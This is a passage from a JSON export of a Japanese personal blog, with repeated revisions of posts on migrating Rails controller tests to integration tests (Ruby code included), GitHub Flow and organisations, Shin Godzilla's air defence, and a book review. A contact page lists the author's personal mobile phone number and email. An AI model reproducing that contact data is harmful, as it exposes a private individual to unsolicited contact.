のマッチャーとかの記法がヤバくなった([こういう話](http://tmtms.hatenablog.com/entry/2014/10/12/ruby-test-unit))\r\n - xUnit のアサーションの方が書きやすくね?という\r\n- RSpec の context は確かに強力な機能だが実際には特に生かされていなかった\r\n- RSpec のメンテナのアイコンがキモい\r\n - ![img](http://s.ssig33.com/a/4f81e92f54ae45c98803d5f4b553b4d9)\r\n\r\n\r\nというわけですから私達のチームのテストコードは以下のような感じになっています。\r\n\r\n``` ruby\r\nrequire 'test_helper'\r\nclass PostControllerTest \u003c ActionController::TestCase \r\n test 'hogehoge' do\r\n get(:hogehoge)\r\n assert_response :ok\r\n assert_equal hoge, assigns[:hoge] \r\n end\r\n\r\n test 'redirect_to hugahuga on hogehoge when hugahuga' do\r\n get(:hogehoge, fugafuga: 'hohoho')\r\n assert_redirected_to hugahuga_url\r\n end\r\n\r\n test 'payment_required on hogehoge when session has aaaa' do\r\n get(:hogehoge, {}, {aaaa: true)\r\n assert_response :payment_required\r\n end\r\nend\r\n```\r\n\r\nこれをいちいちインテグレーションテストに書き換えるのは、テストファイル自体が 100 個ぐらいあってテストケースも 1000 個あるという場合にはなかなかやりたくない作業です。というわけですからこれを最低限の手間でやっていきたい。\r\n\r\nまずは ActionController::TestCase を ActionDispatch::IntegrationTest に変えてしまいます。そのままでは当然テストが落ちます。そこでおもむろに ControllerIntegration というモジュールを作りこれを include します。\r\n\r\nそして ControllerIntegration モジュールにコントローラーテストの各要素をインテグレーションテストに置き換える処理を書いていきます。実際にできたものがコレ。\r\n\r\nこの恐ろしい力技をごらんください。\r\n\r\n``` ruby\r\n# Integration テストでコントローラーテストを再現するためのメソッド群\r\nmodule ControllerIntegration\r\n extend ActiveSupport::Concern\r\n attr_accessor :response_url, :response_session, :request, :controller\r\n def session\r\n obj = page.get_rack_session\r\n obj.delete 'session_id'\r\n obj\r\n end\r\n\r\n def do_request method, url, opts, session_obj\r\n set_session session_obj\r\n \r\n page.driver.options[:headers] = {}\r\n page.driver.options[:headers]['HTTP_USER_AGENT'] = 'Rails Testing'\r\n if @request and @request.env\r\n @request.env.each do |k,v|\r\n page.driver.options[:headers][k] = v\r\n end\r\n end\r\n\r\n page.driver.submit(method, url, opts)\r\n @response_url = current_url\r\n @response_session = page.dup\r\n @response = response()\r\n end\r\n\r\n %w(get post delete put patch).each do |name|\r\n define_method name do |url, opts = {}, session_obj = {}|\r\n if url.class.to_s == 'Symbol' and @controller\r\n r = nil\r\n r = @request.dup if @request\r\n c = @controller.dup\r\n url = url_for(opts.merge({controller: @controller, action: url}))\r\n @controller = c\r\n @request = r if r\r\n end\r\n do_request __method__, url, opts, session_obj\r\n end\r\n end\r\n\r\n def set_session session_obj = {}\r\n header = page.driver.options[:headers]\r\n page.driver.options[:headers] = {}\r\n page.set_rack_session(session_obj)\r\n page.driver.options[:headers] = header\r\n end\r\n\r\n def response\r\n obj = OpenStruct.new\r\n obj.header = @response_session.response_headers\r\n obj.headers = @response_session.response_headers\r\n obj.body = @response_session.body\r\n obj.status = @response_session.status_code\r\n obj\r\n end\r\n\r\n def flash\r\n page.get_rack_session['flash']['flashes'].symbolize_keys\r\n end\r\n\r\n def assert_response code, message = nil\r\n case code\r\n when :ok, :success\r\n code = 200\r\n when :not_found\r\n code = 404\r\n when :gone\r\n code = 410\r\n when :not_modified\r\n code = 304\r\n when :payment_required\r\n code = 402\r\n when :bad_request\r\n code = 400\r\n when :created\r\n code = 201\r\n end\r\n\r\n assert_equal code, @response_session.status_code\r\n end\r\n\r\n def assert_redirected_to url\r\n unless url =~ /http/\r\n url = \"http://www.example.com#{url}\"\r\n end\r\n\r\n assert_equal url, @response_url\r\n end\r\n\r\n def assert_select selector, text = nil\r\n if text\r\n assert_selector selector, text: text\r\n else\r\n if text == false\r\n assert css(selector).count == 0\r\n else\r\n assert css(selector).count \u003e 0\r\n end\r\n end\r\n \r\n end\r\n\r\n def xpath xpath\r\n Nokogiri::HTML(@response_session.body).xpath(xpath)\r\n end\r\n\r\n def css css\r\n Nokogiri::HTML(@response_session.body).css(css)\r\n end\r\n\r\n def css_select css\r\n css(css)\r\n end\r\n\r\n included do\r\n setup{@request = OpenStruct.new(env: {})}\r\n teardown do\r\n Capybara.reset_sessions!\r\n page.driver.options[:headers] = {}\r\n end\r\n end\r\nend\r\n```\r\n\r\n\r\nこれで各テスト内で setup{ @controller = 'コントローラー名'} とか書いてしまえばほぼそのままコントローラーテストがインテグレーションテストに化けます。ヒューリスティックにやっているのでもちろん書き換えは必要なのですが、あとはエディタのマクロとかでさくっと対処できます。\r\n\r\nただしこれでは assigns だけはどうにもなりません。 Capybara を使うインテグレーションテストはなにをどうしてもコントローラーの内部状態を見ることができないので、これはレスポンスをみるとかデータベースの状態の変化をみるとかそういうテストに書き換える必要があります。\r\n\r\nコントローラーテストに assigns を大量使用していないという場合はこういう手法でわりと楽に Rails 5 に適合できるのではないでしょうか。\r\n\r\nちなみに上記コードを見ると分かるかと思いますが、私達のプロダクトでは 402 Payment Required が本当に使われています。\r\n\r\nところで株式会社ユビレジでは最新の Rails 環境で店舗運営を支える POS レジアプリを作りたいという開発者を募集しているそうです、今のところ[募集フォームがない](https://ubiregi.com/ja/jobs)のでメールで募集する気概のあるというかたはよろしければどうぞ。","created_at":"2016-07-09T05:52:03.000Z","updated_at":"2016-07-09T05:52:03.000Z"},{"id":2961,"name":"text/GithubFlow_and_organization","body":"%blog% Github Flow と組織\r\n\r\n[github という公的なインフラを使うために必要なこと - アンカテ](http://d.hatena.ne.jp/essa/20160709/p1) を盛大に dis っとかなきゃなという気持ちになった。\r\n\r\n- Pull Request ベースの開発\r\n- 階層型組織構造\r\n\r\nは特に対立するものではないですし、階層型がいいのかフラットがいいのかは場合場合によるでしょう。階層型でばりばりに管理するような開発チームでも\r\n\r\n1. ディレクターが issue を起案する\r\n2. 開発リーダーとディレクターがプロダクトマネージャーなどを交えてスケジュールを決定する\r\n2. 開発リーダーがその issue を閉じる Pull Request を作る人とそれをレビューする人を決定しスケジュールを伝達する\r\n3. 所定のタイミングでリリース権限を持っている人がマージボタンを押す\r\n\r\nみたいなカチカチした運用でいろいろやっていけると思いますし、これでも Github Flow というか Pull Request ベースの開発の恩恵を十分に受けることができるでしょう。\r\n\r\nGithub や Bitbucket が OSS 向けの SNS 、 better sourceforge としての側面を持っているからといって、営利団体が OSS っぽい開発をするためだけに Github を使わないといけないというわけではないです。\r\n\r\nところで元記事では\r\n\r\n- 不整地を走れる馬を中心とした社会\r\n- 道路の整備が必要な自動車社会\r\n\r\nという二つの社会を想定してアホなことを言っていますが、古代ローマ人も諸葛亮もモンゴル帝国も馬や輜重を使っていましたが、さまざまな物資をこれらで効率よく運ぶために街道の整備を怠りませんでした。\r\n\r\nなにもないところからいきなり車社会という発想が出てきたわけではなく、まったく断裂があるようにみえるようなイノベーションであっても実は旧時代のインフラを前提として発達してきたものであるのは、それは当たり前のことです。\r\n\r\nであるが故に新しい世代の道具であってもさまざまなかたちで旧来の伝統ある組織に取り込んでいけるものです。無論その過程で非合理な業務は取り去っていなかければならないし、またトップダウン型のマネジメント**だけで**現代の資本主義社会の競争に立ち向かうことは困難なのは事実だと思います。\r\n\r\nただ、 Github を使う == OSS 開発っぽい体制で業務を回すことを強いられる というような思い込みは危険ですし、そういうものを振りまくやつは糞だ。","created_at":"2016-07-10T15:38:33.000Z","updated_at":"2016-07-10T15:38:33.000Z"},{"id":2962,"name":"text/GithubFlow_and_organization","body":"%blog% Github Flow と組織\r\n\r\n[github という公的なインフラを使うために必要なこと - アンカテ](http://d.hatena.ne.jp/essa/20160709/p1) を盛大に dis っとかなきゃなという気持ちになった。\r\n\r\n- Pull Request ベースの開発\r\n- 階層型組織構造\r\n\r\nは特に対立するものではないですし、階層型がいいのかフラットがいいのかは場合場合によるでしょう。階層型でばりばりに管理するような開発チームでも\r\n\r\n1. ディレクターが issue を起案する\r\n2. 開発リーダーとディレクターがプロダクトマネージャーなどを交えてスケジュールを決定する\r\n2. 開発リーダーがその issue を閉じる Pull Request を作る人とそれをレビューする人を決定しスケジュールを伝達する\r\n3. 所定のタイミングでリリース権限を持っている人がマージボタンを押す\r\n\r\nみたいなカチカチした運用でいろいろやっていけると思いますし、これでも Github Flow というか Pull Request ベースの開発の恩恵を十分に受けることができるでしょう。\r\n\r\nGithub や Bitbucket が OSS 向けの SNS 、 better sourceforge としての側面を持っているからといって、営利団体が OSS っぽい開発をするためだけに Github を使わないといけないというわけではないです。\r\n\r\nところで元記事では\r\n\r\n- 不整地を走れる馬を中心とした社会\r\n- 道路の整備が必要な自動車社会\r\n\r\nという二つの社会を想定してアホなことを言っていますが、古代ローマ人も諸葛亮もモンゴル帝国も馬や輜重を使っていましたが、さまざまな物資をこれらで効率よく運ぶために街道の整備を怠りませんでした。\r\n\r\nなにもないところからいきなり車社会という発想が出てきたわけではなく、まったく断裂があるようにみえるようなイノベーションであっても実は旧時代のインフラを前提として発達してきたものであるのは、それは当たり前のことです。\r\n\r\nであるが故に新しい世代の道具であってもさまざまなかたちで旧来の伝統ある組織に取り込んでいけるものです。無論その過程で非合理な業務は取り去っていなかければならないし、またトップダウン型のマネジメント**だけで**現代の資本主義社会の競争に立ち向かうことは困難なのは事実だと思います。\r\n\r\nしかし、 Github を使う == OSS 開発っぽい体制で業務を回すことを強いられる というような思い込みは危険ですし、そういう考えを振りまくやつは糞だ。","created_at":"2016-07-10T15:40:36.000Z","updated_at":"2016-07-10T15:40:36.000Z"},{"id":2963,"name":"連絡先","body":"# ssig33 の連絡先\r\nいきなり電話されるとちょっとびっくりします。なるべくメール twitter その他でやってくれると嬉しいです。\r\n\r\n## Twitter\r\n@ssig33\r\n\r\n## メール\r\nmail@ssig33.com に特別の事情が無い限り送ってください。\r\n\r\n*@ssig33.com 宛のメールは全て僕の携帯電話に直接届きます。\r\n携帯に届くとはいえ結構返事が遅いことが多いです。筆無精です。ごめんなさい。\r\n\r\n## 電話 と SMS\r\n090-1450-2501\r\n\r\n## Facebook\r\nhttp://facebook.com/ssig33","created_at":"2016-07-18T04:52:23.000Z","updated_at":"2016-07-18T04:52:23.000Z"},{"id":2964,"name":"text/ポケモンGoキツい","body":"%blog%\r\n\r\n- PvP ゲーなのにレーティングが無い\r\n - 日常生活で行けるジムにほぼ常に 2000 近いポケモンが 3 匹刺さってる状態でどうにもならない\r\n- ほぼ完全なる Time to Win\r\n- **暑い**\r\n\r\n前二つはまあ我慢できるんだけど暑いのは本当にどうにかならんのか。","created_at":"2016-07-31T01:23:30.000Z","updated_at":"2016-07-31T01:23:30.000Z"},{"id":2966,"name":"text/シン・ゴジラ感想","body":"%blog%\r\n\r\n本作のゴジラは非常に強力な防空火力を誇っておりこの問題への対処は物語の鍵の一つとなっている。今日はこの問題について考えていきたい。\r\n\r\n本作においてゴジラの強力な外皮を貫通するために地中貫通爆弾を B-2 爆撃機から投下するシーンがある。当該爆弾自体は現存しないためこれは架空の兵器であるが\r\n\r\n- 長細い外見にすることで空気抵抗を減らす\r\n- 高高度から投下する\r\n\r\nということで終端速度を上げて貫通力を上昇させるという実在の地中貫通爆弾と同じアプローチであることが想像される(僕の見間違いでなければこの爆弾の弾体は GBU-28 などに似ていたように見える)。\r\n\r\n実際の運用でこの手の爆弾がどれくらいの高度から投下されるのか僕はよく知らないのだが\r\n\r\n- 投下高度が低すぎると貫通力が減衰する\r\n- 投下高度が高すぎれば例え誘導爆弾と言えど精度に問題が出てくるはず\r\n\r\nという問題を総合して考えると高度 6000m ほどから投下すると考えれば実態にある程度近いのではないだろうか。\r\n\r\nこの手の爆弾は投下高度のおよそ 5 倍程度の射程距離を持つらしい。しかしゴジラから 30km ギリギリ離れたところから投弾するとは考えられず、ここでは 15km 離れた地点から投弾するものとしたい。\r\n\r\nここで問題となってくるのが母機のコースである。ゴジラから半径 15km の同心円をギリギリかすめるコースで投弾するか、そのままゴジラ直上を通り抜けるかである。ゴジラが強力な防空火力を持っていると米軍は知らないのだからそのままゴジラ直上を抜けるコースを取ることも考えられるが、意味分からん大トカゲとかに近寄りたくないし素通りコースを抜けるとする。\r\n\r\nまたあの爆弾の終端速度とかよく分からんのでこの際エイヤッと投弾から命中まで 1 分としよう。たぶんそんなもんでしょ。\r\n\r\nまたゴジラが弾着から防空形態への進化に 10 秒かかるものとする。これにより B-2 の巡航速度をかけると母機は投弾から弾着までに 17.5km を移動する。\r\n\r\nようするにこういうことである。\r\n\r\n![下手な図](http://s.ssig33.com/a/74c2cdecd46a45c2be6b5f4d674846f2)\r\n\r\n赤丸がゴジラであり、赤線が弾着時の母機とゴジラの間の距離。\r\n\r\nこれは sqr((17.5km)^2+(10km)^2) であるからだいたい 20km 前後。飛行高度は 6km だがこれはここでは無視してよい(大した影響がない)。\r\n\r\nよってゴジラの背中から出るあのビームの有効射程は 20km 以上ということが分かる。とっても短かく見積もっても 10km を切ることは無いだろう。実際の画面ではもっとビームが伸びているようにも見えたが、ゴジラがもつ索敵能力や脅威判定能力なども関わってくることなので、まあここは 25km ぐらいが射程としておこう。\r\n\r\nこの厄介な防空火力を減殺するために、日本政府は無人機プレデターからヘルファイアミサイルでの攻撃を段階的に行なうこととした。これは成立しないことが明らかである。なぜならヘルファイアの射程は 8km ほどでしかないので、 25km の射程を持つゴジラの前では低速の無人機では射点につくことなど出来ない。\r\n\r\nここで問題だと僕が思うのは、こういう矛盾があるということそのものではない。そんなことはどうでもいい。こんな矛盾があるにもかかわらずプレデターの波状攻撃という描写がぜんっぜんかっこよくないという点だ。例え地味な描写でも物語上の必然性があれば観客はそれに圧倒されるし、矛盾にあふれて物語にあってもなくてもいいような展開でもビジュアルの派手ささえあれば大満足だ。\r\n\r\n恐らく、ゴジラはこのような論理で作られているのではないか。\r\n\r\n1. 在来線爆弾で横倒しにしたゴジラの口にストローを突っ込んで毒を飲ませてやっつける映画はかっこいいに違いない\r\n2. そんなけったいな話が違和感なく存在できる舞台設定を全力で作ろう\r\n\r\nすべては在来線爆弾とあのストロー攻撃のために存在しているのだ。実際あのシーンは異常にかっこよく、楽しい。明らかに最高だ。\r\n\r\nゴジラの防空火力とは 2. の話であって、米軍が通常火力で攻撃できない理屈を作るために後から考えた設定なのだろう。しかし、通常火力で攻撃できないのでこれを封じさせないと話にならないので疲弊させるシーンを作らなければならない -\u003e パイロットがどんどん死ぬのはなんか変だしプレデターだ、というような雑な思考であのシーンが出来たのではないかと想像する。\r\n\r\nここで問題となるのが、クライマックスのシーンでありながら、あきらかに雑な仕事がそこに混ざっていることだ。僕の勘繰りがまったく外れていたとしても、そこで仕事をサボったのは事実だ。考証的な矛盾とビジュアルのショボさがそこには同居しているのだから。\r\n\r\n恐らく、列車爆弾とストロー攻撃以上の決戦のアイディアが出てこなかったのだろう。というかそれありきで仕事をしていたらそうなるのはある意味、当然のことと言ってよい。しかし、そこに考証面から考えた、下からの思考といったものが入っていてほしかったというのは、世紀の大傑作映画を前にして少々贅沢すぎる感想なのだろうか。","created_at":"2016-08-01T13:07:06.000Z","updated_at":"2016-08-01T13:07:06.000Z"},{"id":2967,"name":"text/シン・ゴジラ感想","body":"%blog%\r\n\r\n本作のゴジラは非常に強力な防空火力を誇っておりこの問題への対処は物語の鍵の一つとなっている。今日はこの問題について考えていきたい。\r\n\r\n本作においてゴジラの強力な外皮を貫通するために地中貫通爆弾を B-2 爆撃機から投下するシーンがある。当該爆弾自体は現存しないためこれは架空の兵器であるが\r\n\r\n- 長細い外見にすることで空気抵抗を減らす\r\n- 高高度から投下する\r\n\r\nということで終端速度を上げて貫通力を上昇させるという実在の地中貫通爆弾と同じアプローチであることが想像される(僕の見間違いでなければこの爆弾の弾体は GBU-28 などに似ていたように見える)。\r\n\r\n実際の運用でこの手の爆弾がどれくらいの高度から投下されるのか僕はよく知らないのだが\r\n\r\n- 投下高度が低すぎると貫通力が減衰する\r\n- 投下高度が高すぎれば例え誘導爆弾と言えど精度に問題が出てくるはず\r\n\r\nという問題を総合して考えると高度 6000m ほどから投下すると考えれば実態にある程度近いのではないだろうか。\r\n\r\nこの手の爆弾は投下高度のおよそ 5 倍程度の射程距離を持つらしい。しかしゴジラから 30km ギリギリ離れたところから投弾するとは考えられず、ここでは 15km 離れた地点から投弾するものとしたい。\r\n\r\nここで問題となってくるのが母機のコースである。ゴジラから半径 15km の同心円をギリギリかすめるコースで投弾するか、そのままゴジラ直上を通り抜けるかである。ゴジラが強力な防空火力を持っていると米軍は知らないのだからそのままゴジラ直上を抜けるコースを取ることも考えられるが、意味分からん大トカゲとかに近寄りたくないし素通りコースを抜けるとする。\r\n\r\nまたあの爆弾の終端速度とかよく分からんのでこの際エイヤッと投弾から命中まで 1 分としよう。たぶんそんなもんでしょ。\r\n\r\nまたゴジラが弾着から防空形態への進化に 10 秒かかるものとする。これにより B-2 の巡航速度をかけると母機は投弾から弾着までに 17.5km を移動する。\r\n\r\nようするにこういうことである。\r\n\r\n![下手な図](http://s.ssig33.com/a/74c2cdecd46a45c2be6b5f4d674846f2)\r\n\r\n赤丸がゴジラであり、赤線が弾着時の母機とゴジラの間の距離。\r\n\r\nこれは sqr((17.5km)^2+(10km)^2) であるからだいたい 20km 前後。飛行高度は 6km だがこれはここでは無視してよい(大した影響がない)。\r\n\r\nよってゴジラの背中から出るあのビームの有効射程は 20km 以上ということが分かる。とっても短かく見積もっても 10km を切ることは無いだろう。実際の画面ではもっとビームが伸びているようにも見えたが、ゴジラがもつ索敵能力や脅威判定能力なども関わってくることなので、まあここは 25km ぐらいが射程としておこう。\r\n\r\nこの厄介な防空火力を減殺するために、日本政府は無人機プレデターからヘルファイアミサイルでの攻撃を段階的に行なうこととした。これは成立しないことが明らかである。なぜならヘルファイアの射程は 8km ほどでしかないので、 25km の射程を持つゴジラの前では低速の無人機では射点につくことなど出来ない。\r\n\r\nここで問題だと僕が思うのは、こういう矛盾があるということそのものではない。そんなことはどうでもいい。こんな矛盾があるにもかかわらずプレデターの波状攻撃という描写がぜんっぜんかっこよくないという点だ。例え地味な描写でも物語上の必然性があれば観客はそれに圧倒されるし、矛盾にあふれて物語にあってもなくてもいいような展開でもビジュアルの派手ささえあれば大満足だ。\r\n\r\n恐らく、ゴジラはこのような論理で作られているのではないか。\r\n\r\n1. 在来線爆弾で横倒しにしたゴジラの口にストローを突っ込んで毒を飲ませてやっつける映画はかっこいいに違いない\r\n2. そんなけったいな話が違和感なく存在できる舞台設定を全力で作ろう\r\n\r\nすべては在来線爆弾とあのストロー攻撃のために存在しているのだ。実際あのシーンは異常にかっこよく、楽しい。明らかに最高だ。\r\n\r\nゴジラの防空火力とは 2. の話であって、米軍が通常火力で攻撃できない理屈を作るために後から考えた設定なのだろう。しかし、通常火力で攻撃できないのでこれを封じさせないと話にならないので疲弊させるシーンを作らなければならない -\u003e パイロットがどんどん死ぬのはなんか変だしプレデターだ、というような雑な思考であのシーンが出来たのではないかと想像する。\r\n\r\nここで問題となるのが、クライマックスのシーンでありながら、あきらかに雑な仕事がそこに混ざっていることだ。僕の勘繰りがまったく外れていたとしても、そこで仕事をサボったのは事実だ。考証的な矛盾とビジュアルのショボさがそこには同居しているのだから。\r\n\r\n恐らく、列車爆弾とストロー攻撃以上の決戦のアイディアが出てこなかったのだろう。というかそれありきで仕事をしていたらそうなるのはある意味、当然のことと言ってよい。しかし、そこに考証面から考えた、下からの思考といったものが入っていてほしかったというのは、世紀の大傑作映画を前にして少々贅沢すぎる感想なのだろうか。\r\n\r\n### それはそうとして\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003eゴジラ、 00000JAPAN が解放されるシーンで感動して泣いてしまった\u003c/p\u003e\u0026mdash; サウジアラビア (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/759644436603121664\"\u003eJuly 31, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e","created_at":"2016-08-01T13:09:19.000Z","updated_at":"2016-08-01T13:09:19.000Z"},{"id":2968,"name":"text/シン・ゴジラ感想","body":"%blog%\r\n\r\n本作のゴジラは非常に強力な防空火力を誇っておりこの問題への対処は物語の鍵の一つとなっている。今日はこの問題について考えていきたい。\r\n\r\n本作においてゴジラの強力な外皮を貫通するために地中貫通爆弾を B-2 爆撃機から投下するシーンがある。当該爆弾自体は現存しないためこれは架空の兵器であるが\r\n\r\n- 長細い外見にすることで空気抵抗を減らす\r\n- 高高度から投下する\r\n\r\nということで終端速度を上げて貫通力を上昇させるという実在の地中貫通爆弾と同じアプローチであることが想像される(僕の見間違いでなければこの爆弾の弾体は GBU-28 などに似ていたように見える)。\r\n\r\n実際の運用でこの手の爆弾がどれくらいの高度から投下されるのか僕はよく知らないのだが\r\n\r\n- 投下高度が低すぎると貫通力が減衰する\r\n- 投下高度が高すぎれば例え誘導爆弾と言えど精度に問題が出てくるはず\r\n\r\nという問題を総合して考えると高度 6000m ほどから投下すると考えれば実態にある程度近いのではないだろうか。\r\n\r\nこの手の爆弾は投下高度のおよそ 5 倍程度の射程距離を持つらしい。しかしゴジラから 30km ギリギリ離れたところから投弾するとは考えられず、ここでは 10km 離れた地点から投弾するものとしたい。\r\n\r\nここで問題となってくるのが母機のコースである。ゴジラから半径 10km の同心円をギリギリかすめるコースで投弾するか、そのままゴジラ直上を通り抜けるかである。ゴジラが強力な防空火力を持っていると米軍は知らないのだからそのままゴジラ直上を抜けるコースを取ることも考えられるが、意味分からん大トカゲとかに近寄りたくないし素通りコースを抜けるとする。\r\n\r\nまたあの爆弾の終端速度とかよく分からんのでこの際エイヤッと投弾から命中まで 1 分としよう。たぶんそんなもんでしょ。\r\n\r\nまたゴジラが弾着から防空形態への進化に 10 秒かかるものとする。これにより B-2 の巡航速度をかけると母機は投弾から弾着までに 17.5km を移動する。\r\n\r\nようするにこういうことである。\r\n\r\n![下手な図](http://s.ssig33.com/a/74c2cdecd46a45c2be6b5f4d674846f2)\r\n\r\n赤丸がゴジラであり、赤線が弾着時の母機とゴジラの間の距離。\r\n\r\nこれは sqr((17.5km)^2+(10km)^2) であるからだいたい 20km 前後。飛行高度は 6km だがこれはここでは無視してよい(大した影響がない)。\r\n\r\nよってゴジラの背中から出るあのビームの有効射程は 20km 以上ということが分かる。とっても短かく見積もっても 10km を切ることは無いだろう。実際の画面ではもっとビームが伸びているようにも見えたが、ゴジラがもつ索敵能力や脅威判定能力なども関わってくることなので、まあここは 25km ぐらいが射程としておこう。\r\n\r\nこの厄介な防空火力を減殺するために、日本政府は無人機プレデターからヘルファイアミサイルでの攻撃を段階的に行なうこととした。これは成立しないことが明らかである。なぜならヘルファイアの射程は 8km ほどでしかないので、 25km の射程を持つゴジラの前では低速の無人機では射点につくことなど出来ない。\r\n\r\nここで問題だと僕が思うのは、こういう矛盾があるということそのものではない。そんなことはどうでもいい。こんな矛盾があるにもかかわらずプレデターの波状攻撃という描写がぜんっぜんかっこよくないという点だ。例え地味な描写でも物語上の必然性があれば観客はそれに圧倒されるし、矛盾にあふれて物語にあってもなくてもいいような展開でもビジュアルの派手ささえあれば大満足だ。\r\n\r\n恐らく、ゴジラはこのような論理で作られているのではないか。\r\n\r\n1. 在来線爆弾で横倒しにしたゴジラの口にストローを突っ込んで毒を飲ませてやっつける映画はかっこいいに違いない\r\n2. そんなけったいな話が違和感なく存在できる舞台設定を全力で作ろう\r\n\r\nすべては在来線爆弾とあのストロー攻撃のために存在しているのだ。実際あのシーンは異常にかっこよく、楽しい。明らかに最高だ。\r\n\r\nゴジラの防空火力とは 2. の話であって、米軍が通常火力で攻撃できない理屈を作るために後から考えた設定なのだろう。しかし、通常火力で攻撃できないのでこれを封じさせないと話にならないので疲弊させるシーンを作らなければならない -\u003e パイロットがどんどん死ぬのはなんか変だしプレデターだ、というような雑な思考であのシーンが出来たのではないかと想像する。\r\n\r\nここで問題となるのが、クライマックスのシーンでありながら、あきらかに雑な仕事がそこに混ざっていることだ。僕の勘繰りがまったく外れていたとしても、そこで仕事をサボったのは事実だ。考証的な矛盾とビジュアルのショボさがそこには同居しているのだから。\r\n\r\n恐らく、列車爆弾とストロー攻撃以上の決戦のアイディアが出てこなかったのだろう。というかそれありきで仕事をしていたらそうなるのはある意味、当然のことと言ってよい。しかし、そこに考証面から考えた、下からの思考といったものが入っていてほしかったというのは、世紀の大傑作映画を前にして少々贅沢すぎる感想なのだろうか。\r\n\r\n### それはそうとして\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003eゴジラ、 00000JAPAN が解放されるシーンで感動して泣いてしまった\u003c/p\u003e— サウジアラビア (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/759644436603121664\"\u003eJuly 31, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e","created_at":"2016-08-01T13:13:05.000Z","updated_at":"2016-08-01T13:13:05.000Z"},{"id":2969,"name":"text/無業社会","body":"%blog% 工藤啓, 西田亮介 『無業社会 : 働くことができない若者たちの未来』 というのを読んだ\r\n\r\nなんとなく読んだ。\r\n無職の人の状況がいろいろとまとまっていてよい。\r\n\r\n無職の人の具体的な実例がいろいろ乗っていて、このとおり読者のみなさんと無職の人達は全然かわらずみなさんもすぐにこうなるかもしれません、というような感じのことが主張されている。だが実際読者の多くと彼等若年長期失業者の間には大きな違いがある。\r\n\r\n彼等はあまりにも実直すぎ、そして気が弱すぎる。\r\n\r\nそりゃまあそんだけ気が弱くて正直ならそうなるだろうという感じだ。別の言いかたをすれば、世渡りが下手すぎる。\r\n\r\n日本社会において、実直であること、気が弱いことがよい方向に働くことなど、実はほとんどない。我々は限られた資源を共有する農村で生きているわけではない。であれば抜け目がなく押しが強い人物の方が、有利だ。\r\n\r\nではどうすればよいか。必要なのは、演技だ。気が弱い人間であっても、演技を知っていれば切り抜けられる。もちろん演技というのは非常に体力を使うものなのだが、ここぞという時だけやるのであれば、なんとかなる。\r\n\r\nなんというか、こういう自分もふくめて他人を騙すというか、ごまかすというか、そういう技術を義務教育とかでもっとやっていかないと不幸は減らせないのでは、、、と思いました。","created_at":"2016-08-05T05:50:29.000Z","updated_at":"2016-08-05T05:50:29.000Z"},{"id":2970,"name":"text/無業社会","body":"%blog% 工藤啓, 西田亮介 『無業社会 : 働くことができない若者たちの未来』 というのを読んだ\r\n\r\nなんとなく読んだ。\r\n無職の人の状況がいろいろとまとまっていてよい。\r\n\r\n無職の人の具体的な実例がいろいろ乗っていて、このとおり読者のみなさんと無職の人達は全然かわらずみなさんもすぐにこうなるかもしれません、というような感じのことが主張されている。だが実際読者の多くと彼等若年長期失業者の間には大きな違いがある。\r\n\r\n彼等はあまりにも実直すぎ、そして気が弱すぎる。\r\n\r\nそりゃまあそんだけ気が弱くて正直ならそうなるだろうという感じだ。別の言いかたをすれば、世渡りが下手すぎる。\r\n\r\n日本社会において、実直であること、気が弱いことがよい方向に働くことなど、実はほとんどない。我々は限られた資源を共有する農村で生きているわけではない。であれば抜け目がなく押しが強い人物の方が、有利だ。\r\n\r\nではどうすればよいか。必要なのは、演技だ。気が弱い人間であっても、演技を知っていれば切り抜けられる。もちろん演技というのは非常に体力を使うものなのだが、ここぞという時だけやるのであれば、なんとかなる。\r\n\r\nなんというか、こういう自分もふくめて他人を騙すというか、ごまかすというか、そういう技術を義務教育とか職業訓練とかでもっとやっていかないと不幸は減らせないのでは、、、と思いました。","created_at":"2016-08-05T05:50:48.000Z","updated_at":"2016-08-05T05:50:48.000Z"},{"id":2971,"name":"text/無業社会","body":"%blog% 工藤啓, 西田亮介 『無業社会 : 働くことができない若者たちの未来』 というのを読んだ\r\n\r\n\u003ciframe style=\"width:120px;height:240px;\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\" frameborder=\"0\" src=\"//rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=as_ss_li_til\u0026asins=4022735651\u0026linkId=bd6ee56edffaa5db4c82fd43706b4596\"\u003e\u003c/iframe\u003e\r\n\r\nなんとなく読んだ。\r\n無職の人の状況がいろいろとまとまっていてよい。\r\n\r\n無職の人の具体的な実例がいろいろ乗っていて、このとおり読者のみなさんと無職の人達は全然かわらずみなさんもすぐにこうなるかもしれません、というような感じのことが主張されている。だが実際読者の多くと彼等若年長期失業者の間には大きな違いがある。\r\n\r\n彼等はあまりにも実直すぎ、そして気が弱すぎる。\r\n\r\nそりゃまあそんだけ気が弱くて正直ならそうなるだろうという感じだ。別の言いかたをすれば、世渡りが下手すぎる。\r\n\r\n日本社会において、実直であること、気が弱いことがよい方向に働くことなど、実はほとんどない。我々は限られた資源を共有する農村で生きているわけではない。であれば抜け目がなく押しが強い人物の方が、有利だ。\r\n\r\nではどうすればよいか。必要なのは、演技だ。気が弱い人間であっても、演技を知っていれば切り抜けられる。もちろん演技というのは非常に体力を使うものなのだが、ここぞという時だけやるのであれば、なんとかなる。\r\n\r\nなんというか、こういう自分もふくめて他人を騙すというか、ごまかすというか、そういう技術を義務教育とか職業訓練とかでもっとやっていかないと不幸は減らせないのでは、、、と思いました。","created_at":"2016-08-05T05:51:50.000Z","updated_at":"2016-08-05T05:51:50.000Z"},{"id":2972,"name":"text/無業社会","body":"%blog% 工藤啓, 西田亮介 『無業社会 : 働くことができない若者たちの未来』 というのを読んだ\r\n\r\n\u003ciframe 